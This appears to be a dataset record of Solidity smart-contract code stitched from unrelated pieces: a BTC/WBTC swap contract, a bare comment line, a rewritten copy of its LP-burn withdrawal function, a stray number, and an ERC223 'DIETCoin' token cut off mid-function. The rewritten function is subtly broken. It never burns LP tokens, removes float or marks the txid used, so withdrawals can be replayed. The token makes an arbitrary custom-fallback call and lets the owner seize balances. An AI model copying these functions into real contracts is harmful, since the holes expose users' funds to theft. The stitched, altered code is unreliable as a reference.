pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/SwapContract.sol pragma solidity >=0.6.0 <0.8.0; contract SwapContract is Ownable, ISwapContract { using SafeMath for uint256; address public WBTC_ADDR; address public lpToken; mapping(address => bool) public whitelist; uint8 public churnedInCount; uint8 public tssThreshold; uint8 public nodeRewardsRatio; uint8 public depositFeesBPS; uint8 public withdrawalFeeBPS; uint256 public lockedLPTokensForNode; uint256 public feesLPTokensForNode; uint256 public initialExchangeRate; uint256 private priceDecimals; uint256 private lpDecimals; mapping(address => uint256) private floatAmountOf; mapping(bytes32 => bool) private used; // Node lists mapping(address => bytes32) private nodes; mapping(address => bool) private isInList; address[] private nodeAddrs; /** * Events */ event Swap(address from, address to, uint256 amount); event RewardsCollection( address feesToken, uint256 rewards, uint256 amountLPTokensForNode, uint256 currentPriceLP ); event IssueLPTokensForFloat( address to, uint256 amountOfFloat, uint256 amountOfLP, uint256 currentPriceLP, uint256 depositFees, bytes32 txid ); event BurnLPTokensForFloat( address token, uint256 amountOfLP, uint256 amountOfFloat, uint256 currentPriceLP, uint256 withdrawal, bytes32 txid ); modifier priceCheck() { uint256 beforePrice = getCurrentPriceLP(); _; require(getCurrentPriceLP() >= beforePrice, "Invalid LPT price"); } constructor( address _lpToken, address _wbtc, uint256 _existingBTCFloat ) public { // Set lpToken address lpToken = _lpToken; // Set initial lpDecimals of LP token lpDecimals = 10**IERC20(lpToken).decimals(); // Set WBTC address WBTC_ADDR = _wbtc; // Set nodeRewardsRatio nodeRewardsRatio = 66; // Set depositFeesBPS depositFeesBPS = 50; // Set withdrawalFeeBPS withdrawalFeeBPS = 20; // Set priceDecimals priceDecimals = 10**8; // Set initialExchangeRate initialExchangeRate = priceDecimals; // Set lockedLPTokensForNode lockedLPTokensForNode = 0; // Set feesLPTokensForNode feesLPTokensForNode = 0; // Set whitelist addresses whitelist[WBTC_ADDR] = true; whitelist[lpToken] = true; whitelist[address(0)] = true; floatAmountOf[address(0)] = _existingBTCFloat; } /** * Transfer part */ /// @dev singleTransferERC20 sends tokens from contract. /// @param _destToken The address of target token. /// @param _to The address of recipient. /// @param _amount The amount of tokens. /// @param _totalSwapped The amount of swap. /// @param _rewardsAmount The fees that should be paid. /// @param _redeemedFloatTxIds The txids which is for recording. function singleTransferERC20( address _destToken, address _to, uint256 _amount, uint256 _totalSwapped, uint256 _rewardsAmount, bytes32[] memory _redeemedFloatTxIds ) external override onlyOwner returns (bool) { require(whitelist[_destToken], "_destToken is not whitelisted"); require( _destToken != address(0), "_destToken should not be address(0)" ); address _feesToken = address(0); if (_totalSwapped > 0) { _swap(address(0), WBTC_ADDR, _totalSwapped); } else if (_totalSwapped == 0) { _feesToken = WBTC_ADDR; } if (_destToken == lpToken) { _feesToken = lpToken; } _rewardsCollection(_feesToken, _rewardsAmount); _addUsedTxs(_redeemedFloatTxIds); require(IERC20(_destToken).transfer(_to, _amount)); return true; } /// @dev multiTransferERC20TightlyPacked sends tokens from contract. /// @param _destToken The address of target token. /// @param _addressesAndAmounts The address of recipient and amount. /// @param _totalSwapped The amount of swap. /// @param _rewardsAmount The fees that should be paid. /// @param _redeemedFloatTxIds The txids which is for recording. function multiTransferERC20TightlyPacked( address _destToken, bytes32[] memory _addressesAndAmounts, uint256 _totalSwapped, uint256 _rewardsAmount, bytes32[] memory _redeemedFloatTxIds ) external override onlyOwner returns (bool) { require(whitelist[_destToken], "_destToken is not whitelisted"); require( _destToken != address(0), "_destToken should not be address(0)" ); address _feesToken = address(0); if (_totalSwapped > 0) { _swap(address(0), WBTC_ADDR, _totalSwapped); } else if (_totalSwapped == 0) { _feesToken = WBTC_ADDR; } if (_destToken == lpToken) { _feesToken = lpToken; } _rewardsCollection(_feesToken, _rewardsAmount); _addUsedTxs(_redeemedFloatTxIds); for (uint256 i = 0; i < _addressesAndAmounts.length; i++) { require( IERC20(_destToken).transfer( address(uint160(uint256(_addressesAndAmounts[i]))), uint256(uint96(bytes12(_addressesAndAmounts[i]))) ), "Batch transfer error" ); } return true; } /// @dev collectSwapFeesForBTC collects fees in the case of swap WBTC to BTC. /// @param _destToken The address of target token. /// @param _incomingAmount The spent amount. (WBTC) /// @param _minerFee The miner fees of BTC transaction. /// @param _rewardsAmount The fees that should be paid. function collectSwapFeesForBTC( address _destToken, uint256 _incomingAmount, uint256 _minerFee, uint256 _rewardsAmount ) external override onlyOwner returns (bool) { require(_destToken == address(0), "_destToken should be address(0)"); address _feesToken = WBTC_ADDR; if (_incomingAmount > 0) { uint256 swapAmount = _incomingAmount.sub(_rewardsAmount).sub( _minerFee ); _swap(WBTC_ADDR, address(0), swapAmount.add(_minerFee)); } else if (_incomingAmount == 0) { _feesToken = address(0); } _rewardsCollection(_feesToken, _rewardsAmount); return true; } /** * Float part */ /// @dev recordIncomingFloat mints LP token. /// @param _token The address of target token. /// @param _addressesAndAmountOfFloat The address of recipient and amount. /// @param _zerofee The flag to accept zero fees. /// @param _txid The txids which is for recording. function recordIncomingFloat( address _token, bytes32 _addressesAndAmountOfFloat, bool _zerofee, bytes32 _txid ) external override onlyOwner priceCheck returns (bool) { require(whitelist[_token], "_token is invalid"); require( _issueLPTokensForFloat( _token, _addressesAndAmountOfFloat, _zerofee, _txid ) ); return true; } /// @dev recordOutcomingFloat burns LP token. /// @param _token The address of target token. /// @param _addressesAndAmountOfLPtoken The address of recipient and amount. /// @param _minerFee The miner fees of BTC transaction. /// @param _txid The txid which is for recording. function recordOutcomingFloat( address _token, bytes32 _addressesAndAmountOfLPtoken, uint256 _minerFee, bytes32 _txid ) external override onlyOwner priceCheck returns (bool) { require(whitelist[_token], "_token is invalid"); require( _burnLPTokensForFloat( _token, _addressesAndAmountOfLPtoken, _minerFee, _txid ) ); return true; } /// @dev distributeNodeRewards sends rewards for Nodes. function distributeNodeRewards() external override returns (bool) { // Reduce Gas uint256 rewardLPTsForNodes = lockedLPTokensForNode.add( feesLPTokensForNode ); require( rewardLPTsForNodes > 0, "totalRewardLPsForNode is not positive" ); bytes32[] memory nodeList = getActiveNodes(); uint256 totalStaked = 0; for (uint256 i = 0; i < nodeList.length; i++) { totalStaked = totalStaked.add( uint256(uint96(bytes12(nodeList[i]))) ); } IBurnableToken(lpToken).mint(address(this), lockedLPTokensForNode); for (uint256 i = 0; i < nodeList.length; i++) { IBurnableToken(lpToken).transfer( address(uint160(uint256(nodeList[i]))), rewardLPTsForNodes .mul(uint256(uint96(bytes12(nodeList[i])))) .div(totalStaked) ); } lockedLPTokensForNode = 0; feesLPTokensForNode = 0; return true; } /** * Life cycle part */ /// @dev recordUTXOSweepMinerFee reduces float amount by collected miner fees. /// @param _minerFee The miner fees of BTC transaction. /// @param _txid The txid which is for recording. function recordUTXOSweepMinerFee(uint256 _minerFee, bytes32 _txid) public override onlyOwner returns (bool) { require(!isTxUsed(_txid), "The txid is already used"); floatAmountOf[address(0)] = floatAmountOf[address(0)].sub( _minerFee, "BTC float amount insufficient" ); _addUsedTx(_txid); return true; } /// @dev churn transfers contract ownership and set variables of the next TSS validator set. /// @param _newOwner The address of new Owner. /// @param _rewardAddressAndAmounts The reward addresses and amounts. /// @param _isRemoved The flags to remove node. /// @param _churnedInCount The number of next party size of TSS group. /// @param _tssThreshold The number of next threshold. /// @param _nodeRewardsRatio The number of rewards ratio for node owners /// @param _withdrawalFeeBPS The amount of wthdrawal fees. function churn( address _newOwner, bytes32[] memory _rewardAddressAndAmounts, bool[] memory _isRemoved, uint8 _churnedInCount, uint8 _tssThreshold, uint8 _nodeRewardsRatio, uint8 _withdrawalFeeBPS ) external override onlyOwner returns (bool) { require( _tssThreshold >= tssThreshold && _tssThreshold <= 2**8 - 1, "_tssThreshold should be >= tssThreshold" ); require( _churnedInCount >= _tssThreshold + uint8(1), "n should be >= t+1" ); require( _nodeRewardsRatio >= 0 && _nodeRewardsRatio <= 100, "_nodeRewardsRatio is not valid" ); require( _withdrawalFeeBPS >= 0 && _withdrawalFeeBPS <= 100, "_withdrawalFeeBPS is invalid" ); require( _rewardAddressAndAmounts.length == _isRemoved.length, "_rewardAddressAndAmounts and _isRemoved length is not match" ); transferOwnership(_newOwner); // Update active node list for (uint256 i = 0; i < _rewardAddressAndAmounts.length; i++) { (address newNode, ) = _splitToValues(_rewardAddressAndAmounts[i]); _addNode(newNode, _rewardAddressAndAmounts[i], _isRemoved[i]); } bytes32[] memory nodeList = getActiveNodes(); if (nodeList.length > 100) { revert("Stored node size should be <= 100"); } churnedInCount = _churnedInCount; tssThreshold = _tssThreshold; nodeRewardsRatio = _nodeRewardsRatio; withdrawalFeeBPS = _withdrawalFeeBPS; return true; } /// @dev isTxUsed sends rewards for Nodes. /// @param _txid The txid which is for recording. function isTxUsed(bytes32 _txid) public override view returns (bool) { return used[_txid]; } /// @dev getCurrentPriceLP returns the current exchange rate of LP token. function getCurrentPriceLP() public override view returns (uint256 nowPrice) { (uint256 reserveA, uint256 reserveB) = getFloatReserve( address(0), WBTC_ADDR ); uint256 totalLPs = IBurnableToken(lpToken).totalSupply(); // decimals of totalReserved == 8, lpDecimals == 8, decimals of rate == 8 nowPrice = totalLPs == 0 ? initialExchangeRate : (reserveA.add(reserveB)).mul(lpDecimals).div( totalLPs.add(lockedLPTokensForNode) ); return nowPrice; } /// @dev getDepositFeeRate returns deposit fees rate /// @param _token The address of target token. /// @param _amountOfFloat The amount of float. function getDepositFeeRate(address _token, uint256 _amountOfFloat) public override view returns (uint256 depositFeeRate) { uint8 isFlip = _checkFlips(_token, _amountOfFloat); if (isFlip == 1) { depositFeeRate = _token == WBTC_ADDR ? depositFeesBPS : 0; } else if (isFlip == 2) { depositFeeRate = _token == address(0) ? depositFeesBPS : 0; } } /// @dev getFloatReserve returns float reserves /// @param _tokenA The address of target tokenA. /// @param _tokenB The address of target tokenB. function getFloatReserve(address _tokenA, address _tokenB) public override view returns (uint256 reserveA, uint256 reserveB) { (reserveA, reserveB) = (floatAmountOf[_tokenA], floatAmountOf[_tokenB]); } /// @dev getActiveNodes returns active nodes list (stakes and amount) function getActiveNodes() public override view returns (bytes32[] memory) { uint256 nodeCount = 0; uint256 count = 0; // Seek all nodes for (uint256 i = 0; i < nodeAddrs.length; i++) { if (nodes[nodeAddrs[i]] != 0x0) { nodeCount = nodeCount.add(1); } } bytes32[] memory _nodes = new bytes32[](nodeCount); for (uint256 i = 0; i < nodeAddrs.length; i++) { if (nodes[nodeAddrs[i]] != 0x0) { _nodes[count] = nodes[nodeAddrs[i]]; count = count.add(1); } } return _nodes; } /// @dev _issueLPTokensForFloat /// @param _token The address of target token. /// @param _transaction The recevier address and amount. /// @param _zerofee The flag to accept zero fees. /// @param _txid The txid which is for recording. function _issueLPTokensForFloat( address _token, bytes32 _transaction, bool _zerofee, bytes32 _txid ) internal returns (bool) { require(!isTxUsed(_txid), "The txid is already used"); require(_transaction != 0x0, "The transaction is not valid"); // Define target address which is recorded on the tx data (20 bytes) // Define amountOfFloat which is recorded top on tx data (12 bytes) (address to, uint256 amountOfFloat) = _splitToValues(_transaction); // Calculate the amount of LP token uint256 nowPrice = getCurrentPriceLP(); uint256 amountOfLP = amountOfFloat.mul(priceDecimals).div(nowPrice); uint256 depositFeeRate = getDepositFeeRate(_token, amountOfFloat); uint256 depositFees = depositFeeRate != 0 ? amountOfLP.mul(depositFeeRate).div(10000) : 0; if (_zerofee && depositFees != 0) { revert(); } // Send LP tokens to LP IBurnableToken(lpToken).mint(to, amountOfLP.sub(depositFees)); // Add deposit fees lockedLPTokensForNode = lockedLPTokensForNode.add(depositFees); // Add float amount _addFloat(_token, amountOfFloat); _addUsedTx(_txid); emit IssueLPTokensForFloat( to, amountOfFloat, amountOfLP, nowPrice, depositFees, _txid ); return true; } /// @dev _burnLPTokensForFloat /// @param _token The address of target token. /// @param _transaction The address of sender and amount. /// @param _minerFee The miner fees of BTC transaction. /// @param _txid The txid which is for recording. function _burnLPTokensForFloat( address _token, bytes32 _transaction, uint256 _minerFee, bytes32 _txid ) internal returns (bool) { require(!isTxUsed(_txid), "The txid is already used"); require(_transaction != 0x0, "The transaction is not valid"); // Define target address which is recorded on the tx data (20bytes) // Define amountLP which is recorded top on tx data (12bytes) (address to, uint256 amountOfLP) = _splitToValues(_transaction); // Calculate the amount of LP token uint256 nowPrice = getCurrentPriceLP(); // Calculate the amountOfFloat uint256 amountOfFloat = amountOfLP.mul(nowPrice).div(priceDecimals); uint256 withdrawalFees = amountOfFloat.mul(withdrawalFeeBPS).div(10000); require( amountOfFloat.sub(withdrawalFees) >= _minerFee, "Error: amountOfFloat.sub(withdrawalFees) < _minerFee" ); uint256 withdrawal = amountOfFloat.sub(withdrawalFees).sub(_minerFee); (uint256 reserveA, uint256 reserveB) = getFloatReserve( address(0), WBTC_ADDR ); if (_token == address(0)) { require( reserveA >= amountOfFloat.sub(withdrawalFees), "The float balance insufficient." ); } else if (_token == WBTC_ADDR) { require( reserveB >= amountOfFloat.sub(withdrawalFees), "The float balance insufficient." ); } // Collect fees before remove float _rewardsCollection(_token, withdrawalFees); // Remove float amount _removeFloat(_token, amountOfFloat); // Add txid for recording. _addUsedTx(_txid); // WBTC transfer if token address is WBTC_ADDR if (_token == WBTC_ADDR) { // _minerFee should be zero require( IERC20(_token).transfer(to, withdrawal), "WBTC balance insufficient" ); } // Burn LP tokens require(IBurnableToken(lpToken).burn(amountOfLP)); emit BurnLPTokensForFloat( to, amountOfLP, amountOfFloat, nowPrice, withdrawal, _txid ); return true; } /// @dev _checkFlips checks whether the fees are activated. /// @param _token The address of target token. /// @param _amountOfFloat The amount of float. function _checkFlips(address _token, uint256 _amountOfFloat) internal view returns (uint8) { (uint256 reserveA, uint256 reserveB) = getFloatReserve( address(0), WBTC_ADDR ); uint256 threshold = reserveA .add(reserveB) .add(_amountOfFloat) .mul(2) .div(3); if (_token == WBTC_ADDR && reserveB.add(_amountOfFloat) >= threshold) { return 1; // BTC float insufficient } if (_token == address(0) && reserveA.add(_amountOfFloat) >= threshold) { return 2; // WBTC float insufficient } return 0; } /// @dev _addFloat updates one side of the float. /// @param _token The address of target token. /// @param _amount The amount of float. function _addFloat(address _token, uint256 _amount) internal { floatAmountOf[_token] = floatAmountOf[_token].add(_amount); } /// @dev _removeFloat remove one side of the float. /// @param _token The address of target token. /// @param _amount The amount of float. function _removeFloat(address _token, uint256 _amount) internal { floatAmountOf[_token] = floatAmountOf[_token].sub( _amount, "_removeFloat: float amount insufficient" ); } /// @dev _swap collects swap amount to change float. /// @param _sourceToken The address of source token /// @param _destToken The address of target token. /// @param _swapAmount The amount of swap. function _swap( address _sourceToken, address _destToken, uint256 _swapAmount ) internal { floatAmountOf[_destToken] = floatAmountOf[_destToken].sub( _swapAmount, "_swap: float amount insufficient" ); floatAmountOf[_sourceToken] = floatAmountOf[_sourceToken].add( _swapAmount ); emit Swap(_sourceToken, _destToken, _swapAmount); } /// @dev _rewardsCollection collects tx rewards. /// @param _feesToken The token address for collection fees. /// @param _rewardsAmount The amount of rewards. function _rewardsCollection(address _feesToken, uint256 _rewardsAmount) internal { if (_rewardsAmount == 0) return; if (_feesToken == lpToken) { feesLPTokensForNode = feesLPTokensForNode.add(_rewardsAmount); emit RewardsCollection(_feesToken, _rewardsAmount, 0, 0); return; } // Get current LP token price. uint256 nowPrice = getCurrentPriceLP(); // Add all fees into pool floatAmountOf[_feesToken] = floatAmountOf[_feesToken].add( _rewardsAmount ); uint256 amountForNodes = _rewardsAmount.mul(nodeRewardsRatio).div(100); // Alloc LP tokens for nodes as fees uint256 amountLPTokensForNode = amountForNodes.mul(priceDecimals).div( nowPrice ); // Add minted LP tokens for Nodes lockedLPTokensForNode = lockedLPTokensForNode.add( amountLPTokensForNode ); emit RewardsCollection( _feesToken, _rewardsAmount, amountLPTokensForNode, nowPrice ); } /// @dev _addUsedTx updates txid list which is spent. (single hash) /// @param _txid The array of txid. function _addUsedTx(bytes32 _txid) internal { used[_txid] = true; } /// @dev _addUsedTxs updates txid list which is spent. (multiple hashes) /// @param _txids The array of txid. function _addUsedTxs(bytes32[] memory _txids) internal { for (uint256 i = 0; i < _txids.length; i++) { used[_txids[i]] = true; } } /// @dev _addNode updates a staker's info. /// @param _addr The address of staker. /// @param _data The data of staker. /// @param _remove The flag to remove node. function _addNode( address _addr, bytes32 _data, bool _remove ) internal returns (bool) { if (_remove) { delete nodes[_addr]; return true; } if (!isInList[_addr]) { nodeAddrs.push(_addr); isInList[_addr] = true; } if (nodes[_addr] == 0x0) { nodes[_addr] = _data; } return true; } /// @dev _splitToValues returns address and amount of staked SWINGBYs /// @param _data The info of a staker. function _splitToValues(bytes32 _data) internal pure returns (address, uint256) { return ( address(uint160(uint256(_data))), uint256(uint96(bytes12(_data))) ); } /// @dev The contract doesn't allow receiving Ether. fallback() external { revert(); } }
_burnLPTokensForFloat _token The address of target token. _transaction The address of sender and amount. _minerFee The miner fees of BTC transaction. _txid The txid which is for recording. Define target address which is recorded on the tx data (20bytes) Define amountLP which is recorded top on tx data (12bytes) Calculate the amount of LP token Calculate the amountOfFloat WBTC transfer if token address is WBTC_ADDR _minerFee should be zero
function _burnLPTokensForFloat( address _token, bytes32 _transaction, uint256 _minerFee, bytes32 _txid ) internal returns (bool) { require(!isTxUsed(_txid), "The txid is already used"); require(_transaction != 0x0, "The transaction is not valid"); (address to, uint256 amountOfLP) = _splitToValues(_transaction); uint256 nowPrice = getCurrentPriceLP(); uint256 amountOfFloat = amountOfLP.mul(nowPrice).div(priceDecimals); uint256 withdrawalFees = amountOfFloat.mul(withdrawalFeeBPS).div(10000); require( amountOfFloat.sub(withdrawalFees) >= _minerFee, "Error: amountOfFloat.sub(withdrawalFees) < _minerFee" ); uint256 withdrawal = amountOfFloat.sub(withdrawalFees).sub(_minerFee); (uint256 reserveA, uint256 reserveB) = getFloatReserve( address(0), WBTC_ADDR ); if (_token == address(0)) { require( reserveA >= amountOfFloat.sub(withdrawalFees), "The float balance insufficient." ); require( reserveB >= amountOfFloat.sub(withdrawalFees), "The float balance insufficient." ); } if (_token == WBTC_ADDR) { require( IERC20(_token).transfer(to, withdrawal), "WBTC balance insufficient" ); } emit BurnLPTokensForFloat( to, amountOfLP, amountOfFloat, nowPrice, withdrawal, _txid ); return true; }
12,535,126
pragma solidity ^0.4.24; /** * @title DIETCoin * @author DIETCoin * @dev DIETCoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title DIETCoin * @author BLACK DIA COIN TEAM * @dev DIETCoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract DIETCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "Diet Coin"; string public symbol = "DIET"; uint8 public decimals = 8; uint256 public totalSupply = 1e10 * 2e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function DIETCoin() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = 